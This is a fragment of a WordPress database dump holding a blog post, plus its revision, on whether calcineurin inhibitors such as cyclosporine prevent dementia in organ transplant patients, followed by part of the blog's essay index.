of repulsive animals” is associated with graft rejection. That has nothing to do with anything, but I thought it was funny.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You might also wonder if it has to do with the diet and exercise routine that transplant patients are encouraged to adhere to after transplants. After all, <a href=\"https://www.ingentaconnect.com/content/ben/car/2018/00000015/00000005/art00002\">diet and exercise are protective against dementia</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, in the words of the original study author, compliance with diet and exercise regimes is “limited”, and wouldn’t explain these results. Besides, people who get organ transplants are unhealthy people to start with and have very high rates of diabetes and obesity (major risk factors for dementia), so diet and exercise regimes are unlikely to totally reverse this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The last reason you might think this isn’t real is to me the most persuasive: it hasn’t been replicated. The paper from above that examined dementia and graft loss risk was looking at <a href=\"https://jasn.asnjournals.org/content/28/5/1575.short\">national Medicare data for kidney transplant recipients</a> in general, and it also found that the 10 year risk of dementia in these patients was much more similar to the general population: 12% for ages 65-70, and around 20% for 75+. It also, surprisingly, found that people who weren’t on calcineurin inhibitors had a <em>smaller</em> risk of dementia, the exact opposite of the original paper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is the hardest to explain, as these numbers clearly contradict the University of Texas numbers. It can’t be a difference of organ transplants vs. kidney transplants, either, as the University of Texas organ transplant population is majority kidney transplants.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are only a few possibilities to explain this, in my mind:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Randomly, very few patients who would eventually get dementia ended up in this Texas hospital receiving organ transplants. This would be strange, as Texas in general does not have different dementia rates than the rest of the country.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Someone messed up their data. This would be a pretty huge mess up on someone’s part, but it could be something as simple as how dementia is reported.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the University of Texas study, they got their dementia reports from physicians’ notes, presumably in their electronic medical records. For the Medicare data, they got their dementia reports from the Medicare claims. <a href=\"https://sci-hubtw.hkvisa.net/10.3233/JAD-2009-1099\">This study</a> gives a sensitivity and specificity of Medicare claims for dementia at around 85% vs. doctors’ diagnoses, which seems pretty good, but that’s looking at only 700 records from 1993-2005 vs. 40,000 records from 1999-2011 in the Medicare dementia study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I can\'t know <em>a priori</em> which study is more likely to mess up their data. However, what we can say is that the dog isn’t barking: calcineurin inhibitors are used a lot for organ transplants, and nobody else is reporting an effect on dementia. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Someone else should have noticed, especially because the UTexas paper was published in 2015. It’s easy for me to believe that hospitals in general do not see an absence of dementia in organ transplant patients, but I don\'t have an opinion on whether the UTexas patient population is actually absent of dementia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3.&nbsp; There’s something different about how the University of Texas hospital administers calcineurin inhibitors vs. the average hospital.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is entirely possible. Calcineurin inhibitors are dangerous and difficult to administer correctly, so it’s possible one hospital has developed a unique protocol. This unique University of Texas protocol might be the difference between these two studies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Overall, though, I’d say this is a definite reason to be cautious about the University of Texas study. Obviously, I’d like the data to be true, but I understand if people have their doubts. For my own part, I’ve contacted authors of both papers, but haven’t received substantive responses from either. I’ll update this post when/if I do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, instead of ending on that, I want to discuss, instead, a scientific reason why I think calcineurin inhibitors might actually work in dementia, and why my personal balance tips more in favor of the University of Texas study being real: the mitochondrial dysfunction hypothesis for Alzheimer’s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The mitochondrial dysfunction hypothesis for Alzheimer’s is straightforward enough. Mitochondria, as we all know, are the powerhouses of the cell. They are little, self-contained organelles that generate ATP, the fuel for the cell.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mitochondria are really complex. They act somewhat like their own little organisms themselves, and, in fact, <a href=\"https://en.wikipedia.org/wiki/Endosymbiotic_theory\">that’s probably what they originally were</a>. They have an intricate structure; their own, separate genome from the rest of the cell; and engage in constant signalling with the rest of the cell, most notably by calcium (Ca 2+) signalling.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They are also very involved in cell death, or apoptosis. This makes sense: if you’re a cell, and your powerhouse goes out, you’re probably not long for this world. This apoptosis can be planned (i.e. if the cell is infected or cancerous) or unplanned (i.e. if something damages the cell or mitochondria).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the ways in which mitochondria can apoptose is by the opening of the mitochondrial permeability transition pore (MPTP). This MPTP is exactly what it sounds like: it’s a pore, or opening, on the inner membrane of the mitochondria. The inner membrane is the part of the mitochondria that contains, basically, the parts of the mitochondria that generate ATP.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/M6uMIVv1CBDEmAsbyhLvfOP4wKfnSKsjHdQbYHtQ-w2_FZACoTUEF9nbHJ99uhnDh7MglUOFvLhWjRHqRD3FYFxSWtarn9hFKsu-CnxSGKDeJ3ZPX3smB0KaQpxxMFsiP38lo9ez\" alt=\"\"/><figcaption class=\"wp-element-caption\">In this drawing of mitochondria on the half-shell, the inner membrane is a film around the squiggly bits.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Generating ATP is a complex, chemical process that requires precise control of which ions end up where. Opening up a pore into the inner membrane of the mitochondria is somewhat similar to flinging open the door to a hermetically sealed laboratory or having a bunch of people walk on stage during a dance recital. It messes things up pretty completely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, you may ask why such a door exists, considering that opening it for long enough kills the mitochondria, and opening it for a little bit doesn’t seem to do much good. The answer is… we don’t know. It might have a purpose in the body now, or it might be a holdover from when mitochondria were separate organisms. One of the things we do know, however, is how to open it. Cell stress, Ca 2+ signalling, and physical trauma to the cell all do the trick.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We also know how to keep the door closed, and that’s where we come back to calcineurin inhibitors. One of the main calcineurin inhibitors is cyclosporine. One of the main proteins that opens the MPTP is cyclophilin D, named so because it loves (<em>philo</em>) cyclosporine. Cyclosporine freezes the protein in place, preventing the MPTP from opening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, that’s how cyclosporine could work in saving the mitochondria in Alzheimer’s disease: by preventing the MPTP from opening during times of cell stress or trauma. What’s our evidence that it actually does work that way?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, first, there’s good evidence that cyclosporine can save some neurons from death when they experience stress. Specifically, when they bonk piglets on the head really hard, <a href=\"https://www.liebertpub.com/doi/full/10.1089/neu.2018.5706\">the ones that have been receiving IV cyclosporine for the last 5 days have a smaller hole in their brain</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/EuRxDeBcPkSWPfWKfDFL2t6H2YuIDmcgcwcB2BBxOpud2aMwohW4B0ssyZeEcWk0xyQl8FAqxtjuep-SUVk1yZQaLkKnTeBTdFhRVhYWjRPlX6akOG1QijJpcaVp3vRJZ8QzH-Lq\" alt=\"\"/><figcaption class=\"wp-element-caption\">On the left, Babe the piglet. On the right, Abe the piglet. The bonk removed an entire letter.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Second, there’s ok evidence <a href=\"https://content.iospress.com/articles/journal-of-alzheimers-disease/jad170585\">patients with Alzheimer’s have altered mitochondrial function</a>. Alzheimer’s brains use less glucose, less oxygen, and have reduced enzymatic activity related to glucose. Scientists that have used mitochondria from Alzheimer’s brains in new cells have found that the new cells have reduced enzymatic activity as well, suggesting the reduced enzymatic activity comes from the mitochondria.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, all together, if we think of the damage to the brain that results in dementia as somewhat similar to the damage to the brain from a bonk on the head, then we can believe that cyclosporine could be beneficial for preventing or treating dementia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So…what next? Well, as I mentioned, I’m trying to raise funds to actually test this. The methods still need to be worked out, as giving a bunch of old people cyclosporine for 20 years to see if they develop Alzheimer’s is nobody’s idea of a good study to run.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, using alternative biomarkers for a shorter period of time could be much more feasible. This is especially true if we’re looking at a vulnerable population who’s more likely to develop dementia sooner, like people with Parkinson’s, as <a href=\"https://link.springer.com/article/10.1186/s13195-019-0473-4\">they already have a validated biomarker for dementia: brain-glucose metabolism</a>.<br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If this sounds interesting to you or you think you could help me with this, <a href=\"http://highwaypharm.com\">let me know</a>. Otherwise, feel free to tell me why you think this is silly. Happy to hear feedback either way.</p>\n<!-- /wp:paragraph -->','Organ transplant patients (maybe) don\'t get dementia. Here\'s why.','','publish','closed','closed','','organ-transplant-patients-maybe-dont-get-dementia-heres-why','','','2024-04-02 14:05:37','2024-04-02 14:05:37','',0,'https://trevorklee.com/?page_id=229',0,'page','',0),
(230,1,'2021-11-03 14:42:07','2021-11-03 14:42:07','<!-- wp:paragraph -->\n<p>When I was in college, I applied for an internship at the Huffington Post, that venerable bastion of journalism. Before my interview, I was given a spreadsheet of articles and associated view counts. I was asked to formulate and present a hypothesis about which types of articles generate the most views.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When I presented my hypothesis, I intended to present it like a science paper: introduction, methods, results. But, 5 minutes into my presentation, my interviewer, Koda, stopped me. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Always start with the most exciting result first,” he said. So, I restarted my presentation, skipped to the end of the slides, and worked backwards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I didn’t end up getting the internship. But, in honor of his advice, here’s the most exciting figure I’ve ever seen in a dementia paper. I’ll start from this figure, and work my way backwards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/3NO5JO9hiovbtHpLce1mWARauEvomCY4ahRxjQjoaq0CR8k3E-2wbMhM3n8ovqiVmEffD5PZK1zTZkzFnGcMicBZseG-VOEYA0MiJwfLMwVUEgpa_6pQWorRS3w_EF1qd2jF0D-V\" alt=\"\"/><figcaption>from:  <a href=\"https://content.iospress.com/articles/journal-of-alzheimers-disease/jad150065\">Reduced incidence of <strong>dementia </strong>in solid <strong>organ transplant </strong>patients treated with calcineurin inhibitors</a></figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This is a graph of dementia rates in immunosuppressed organ transplant patients at a University of Texas hospital. Specifically, these are organ transplant patients who have received calcineurin inhibitors, which is a specific type of immunosuppressant with some weird properties.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The gray is the percentage of patients in the general population in that age group who get dementia. The black is the percentage of organ transplant patients in that age group that have received calcineurin inhibitors who get dementia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can see, dementia is almost absent in the calcineurin inhibitor group. It is literally absent in the &gt;85 group. Shocking, no?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And before you think this is just some trick with percentages, here are the raw numbers below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"width\":690,\"height\":304} -->\n<figure class=\"wp-block-image is-resized\"><img src=\"https://lh3.googleusercontent.com/7VhhwZgh4zneMa2av2yjf6KZwKnqOlh6LRO_PH6Lhsx4cnmkuxGJ9dAufREQehUjWsYJN00rDj8PFN85PAhj3XKbp_J8UO0jZhNx6RmoWiuJB0D2BV9hWVbqL4Ac2ziBq97UpDGu\" alt=\"\" width=\"690\" height=\"304\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>We’re not talking about small numbers of people here. These are large groups of people, and dementia is almost completely absent. Like…holy shit, no? If you take this graph at face value, it kind of looks like calcineurin inhibitors are a preventative or a cure for dementia. Given that Biogen’s bullshit drug for Alzheimer’s was estimated to bring in so much revenue as to bankrupt Medicare, this is a $50 billion discovery at <em>least</em>. Maybe a Nobel Prize, too.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, before we pop the champagne, let’s take a step back and see if we can actually soberly address this. I’ll start with a small confession, then I’ll discuss why you might not believe this paper, why you might believe it, and then what we should do about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> So, first of all, the confession: I’m not a neutral observer here. In talking about this paper, I’m talking my own book. My company, <a href=\"http://highwaypharm.com\">Highway Pharmaceuticals</a>, is currently raising funds to get a safer, easier to use, extended-release version of cyclosporine, the most common calcineurin inhibitor, into first-in-human trials. If this paper is correct, investors should probably consider throwing money at me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now with that out of the way, there are some major reasons why you might not believe this paper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The most obvious reason that most people think about is survivorship bias. Organ transplant patients are, by their nature, sick patients. Maybe immunosuppressed people who would get dementia are also the sort who would die sooner, possibly because they forget to take their meds and then their body rejects the graft.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is possible, but seems unlikely to me, as you wouldn’t expect there to be a strong enough correlation to account for the huge disparity in dementia results. <a href=\"https://jasn.asnjournals.org/content/28/5/1575.short\">This paper</a> (which I discuss much more below) suggests organ transplant patients with dementia are about twice as likely to experience graft loss, although it’s unclear which way the causative relationship swings. Side note: I also found <a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0041134511002430\">a hilarious, weird study</a> that stated “a greater fear of repulsive animals” is associated with graft rejection. That has nothing to do with anything, but I thought it was funny.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You might also wonder if it has to do with the diet and exercise routine that transplant patients are encouraged to adhere to after transplants. After all, <a href=\"https://www.ingentaconnect.com/content/ben/car/2018/00000015/00000005/art00002\">diet and exercise are protective against dementia</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, in the words of the original study author, compliance with diet and exercise regimes is “limited”, and wouldn’t explain these results. Besides, people who get organ transplants are unhealthy people to start with and have very high rates of diabetes and obesity (major risk factors for dementia), so diet and exercise regimes are unlikely to totally reverse this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The last reason you might think this isn’t real is to me the most persuasive: it hasn’t been replicated. The paper from above that examined dementia and graft loss risk was looking at <a href=\"https://jasn.asnjournals.org/content/28/5/1575.short\">national Medicare data for kidney transplant recipients</a> in general, and it also found that the 10 year risk of graft loss in these patients was much more similar to the general population: 12% for ages 65-70, and around 20% for 75+. It also, surprisingly, found that people who weren’t on calcineurin inhibitors had a <em>smaller</em> risk of dementia, the exact opposite of the original paper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is the hardest to explain, as these numbers clearly contradict the University of Texas numbers. It can’t be a difference of organ transplants vs. kidney transplants, either, as the University of Texas organ transplant population is majority kidney transplants.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are only a few possibilities to explain this, in my mind:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Randomly, very few patients who would eventually get dementia ended up in this Texas hospital receiving organ transplants. This would be strange, as Texas in general does not have different dementia rates than the rest of the country.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Someone messed up their data. This would be a pretty huge mess up on someone’s part, but it could be something as simple as how dementia is reported.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the University of Texas study, they got their dementia reports from physicians’ notes, presumably in their electronic medical records. For the Medicare data, they got their dementia reports from the Medicare claims. <a href=\"https://sci-hubtw.hkvisa.net/10.3233/JAD-2009-1099\">This study</a> gives a sensitivity and specificity of Medicare claims for dementia at around 85% vs. doctors’ diagnoses, which seems pretty good, but that’s looking at only 700 records from 1993-2005 vs. 40,000 records from 1999-2011 in the Medicare dementia study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I can\'t know <em>a priori</em> which study is more likely to mess up their data. However, what we can say is that the dog isn’t barking: calcineurin inhibitors are used a lot for organ transplants, and nobody else is reporting an effect on dementia. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Someone else should have noticed, especially because the UTexas paper was published in 2015. It’s easy for me to believe that hospitals in general do not see an absence of dementia in organ transplant patients, but I don\'t have an opinion on whether the UTexas patient population is actually absent of dementia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3.  There’s something different about how the University of Texas hospital administers calcineurin inhibitors vs. the average hospital.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is entirely possible. Calcineurin inhibitors are dangerous and difficult to administer correctly, so it’s possible one hospital has developed a unique protocol. This unique University of Texas protocol might be the difference between these two studies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Overall, though, I’d say this is a definite reason to be cautious about the University of Texas study. Obviously, I’d like the data to be true, but I understand if people have their doubts. For my own part, I’ve contacted authors of both papers, but haven’t received substantive responses from either. I’ll update this post when/if I do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, instead of ending on that, I want to discuss, instead, a scientific reason why I think calcineurin inhibitors might actually work in dementia, and why my personal balance tips more in favor of the University of Texas study being real: the mitochondrial dysfunction hypothesis for Alzheimer’s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The mitochondrial dysfunction hypothesis for Alzheimer’s is straightforward enough. Mitochondria, as we all know, are the powerhouses of the cell. They are little, self-contained organelles that generate ATP, the fuel for the cell.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mitochondria are really complex. They act somewhat like their own little organisms themselves, and, in fact, <a href=\"https://en.wikipedia.org/wiki/Endosymbiotic_theory\">that’s probably what they originally were</a>. They have an intricate structure; their own, separate genome from the rest of the cell; and engage in constant signalling with the rest of the cell, most notably by calcium (Ca 2+) signalling.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They are also very involved in cell death, or apoptosis. This makes sense: if you’re a cell, and your powerhouse goes out, you’re probably not long for this world. This apoptosis can be planned (i.e. if the cell is infected or cancerous) or unplanned (i.e. if something damages the cell or mitochondria).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the ways in which mitochondria can apoptose is by the opening of the mitochondrial permeability transition pore (MPTP). This MPTP is exactly what it sounds like: it’s a pore, or opening, on the inner membrane of the mitochondria. The inner membrane is the part of the mitochondria that contains, basically, the parts of the mitochondria that generate ATP.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/M6uMIVv1CBDEmAsbyhLvfOP4wKfnSKsjHdQbYHtQ-w2_FZACoTUEF9nbHJ99uhnDh7MglUOFvLhWjRHqRD3FYFxSWtarn9hFKsu-CnxSGKDeJ3ZPX3smB0KaQpxxMFsiP38lo9ez\" alt=\"\"/><figcaption>In this drawing of mitochondria on the half-shell, the inner membrane is a film around the squiggly bits.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Generating ATP is a complex, chemical process that requires precise control of which ions end up where. Opening up a pore into the inner membrane of the mitochondria is somewhat similar to flinging open the door to a hermetically sealed laboratory or having a bunch of people walk on stage during a dance recital. It messes things up pretty completely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, you may ask why such a door exists, considering that opening it for long enough kills the mitochondria, and opening it for a little bit doesn’t seem to do much good. The answer is… we don’t know. It might have a purpose in the body now, or it might be a holdover from when mitochondria were separate organisms. One of the things we do know, however, is how to open it. Cell stress, Ca 2+ signalling, and physical trauma to the cell all do the trick.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We also know how to keep the door closed, and that’s where we come back to calcineurin inhibitors. One of the main calcineurin inhibitors is cyclosporine. One of the main proteins that opens the MPTP is cyclophilin D, named so because it loves (<em>philo</em>) cyclosporine. Cyclosporine freezes the protein in place, preventing the MPTP from opening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, that’s how cyclosporine could work in saving the mitochondria in Alzheimer’s disease: by preventing the MPTP from opening during times of cell stress or trauma. What’s our evidence that it actually does work that way?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, first, there’s good evidence that cyclosporine can save some neurons from death when they experience stress. Specifically, when they bonk piglets on the head really hard, <a href=\"https://www.liebertpub.com/doi/full/10.1089/neu.2018.5706\">the ones that have been receiving IV cyclosporine for the last 5 days have a smaller hole in their brain</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/EuRxDeBcPkSWPfWKfDFL2t6H2YuIDmcgcwcB2BBxOpud2aMwohW4B0ssyZeEcWk0xyQl8FAqxtjuep-SUVk1yZQaLkKnTeBTdFhRVhYWjRPlX6akOG1QijJpcaVp3vRJZ8QzH-Lq\" alt=\"\"/><figcaption>On the left, Babe the piglet. On the right, Abe the piglet. The bonk removed an entire letter.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Second, there’s ok evidence <a href=\"https://content.iospress.com/articles/journal-of-alzheimers-disease/jad170585\">patients with Alzheimer’s have altered mitochondrial function</a>. Alzheimer’s brains use less glucose, less oxygen, and have reduced enzymatic activity related to glucose. Scientists that have used mitochondria from Alzheimer’s brains in new cells have found that the new cells have reduced enzymatic activity as well, suggesting the reduced enzymatic activity comes from the mitochondria.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, all together, if we think of the damage to the brain that results in dementia as somewhat similar to the damage to the brain from a bonk on the head, then we can believe that cyclosporine could be beneficial for preventing or treating dementia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So…what next? Well, as I mentioned, I’m trying to raise funds to actually test this. The methods still need to be worked out, as giving a bunch of old people cyclosporine for 20 years to see if they develop Alzheimer’s is nobody’s idea of a good study to run.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, using alternative biomarkers for a shorter period of time could be much more feasible. This is especially true if we’re looking at a vulnerable population who’s more likely to develop dementia sooner, like people with Parkinson’s, as <a href=\"https://link.springer.com/article/10.1186/s13195-019-0473-4\">they already have a validated biomarker for dementia: brain-glucose metabolism</a>.<br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If this sounds interesting to you or you think you could help me with this, <a href=\"http://highwaypharm.com\">let me know</a>. Otherwise, feel free to tell me why you think this is silly. Happy to hear feedback either way.</p>\n<!-- /wp:paragraph -->','Organ transplant patients (maybe) don\'t get dementia. Here\'s why.','','inherit','closed','closed','','229-revision-v1','','','2021-11-03 14:42:07','2021-11-03 14:42:07','',229,'https://trevorklee.com/?p=230',0,'revision','',0),
(233,1,'2021-11-03 23:45:26','2021-11-03 23:45:26','<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>\n\n<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - 